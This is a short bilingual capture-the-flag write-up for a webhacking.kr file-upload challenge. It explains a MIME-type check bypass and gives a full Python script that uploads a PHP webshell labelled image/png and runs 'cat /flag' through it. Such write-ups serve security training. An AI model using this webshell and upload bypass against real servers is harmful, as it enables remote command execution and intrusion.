Challenge
Upload a PHP webshell while sending an image MIME type, then read
/flag.
使用 image MIME type 上传 PHP webshell,再读取
/flag。
1
| http://webhacking.kr:10004/
|
Analysis
服务端检查 multipart 文件字段 file 的 MIME
类型,却没有同时阻止 .php 文件名。于是 PHP 内容可以用
image/png 的 multipart Content-Type
上传;保存后,服务器按 PHP 文件处理该文件。访问脚本并给 cmd
参数 cat /flag,由 system() 执行命令并把
/flag 内容返回。
Solution
下面是完整可运行的 Python 脚本。它显式构造 multipart
上传,保留关键的字段名、PHP 文件名和伪装 MIME 类型,再请求上传后的
webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from __future__ import annotations
import argparse from urllib.parse import urljoin
import requests
WEB_SHELL = b'<?php system($_GET["cmd"]); ?>\n'
def upload(session: requests.Session, upload_url: str, filename: str) -> str: files = {"file": (filename, WEB_SHELL, "image/png")} response = session.post(upload_url, files=files, timeout=20) response.raise_for_status() return urljoin(upload_url, filename)
def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--upload-url", default="http://webhacking.kr:10004/") parser.add_argument("--filename", default="shell.php") args = parser.parse_args()
session = requests.Session() shell_url = upload(session, args.upload_url, args.filename) response = session.get(shell_url, params={"cmd": "cat /flag"}, timeout=20) response.raise_for_status() print(response.text)
if __name__ == "__main__": main()
|
机制是 MIME 白名单与实际文件解释方式脱节:上传检查看到
image/png,文件名和保存位置仍让服务器执行
.php。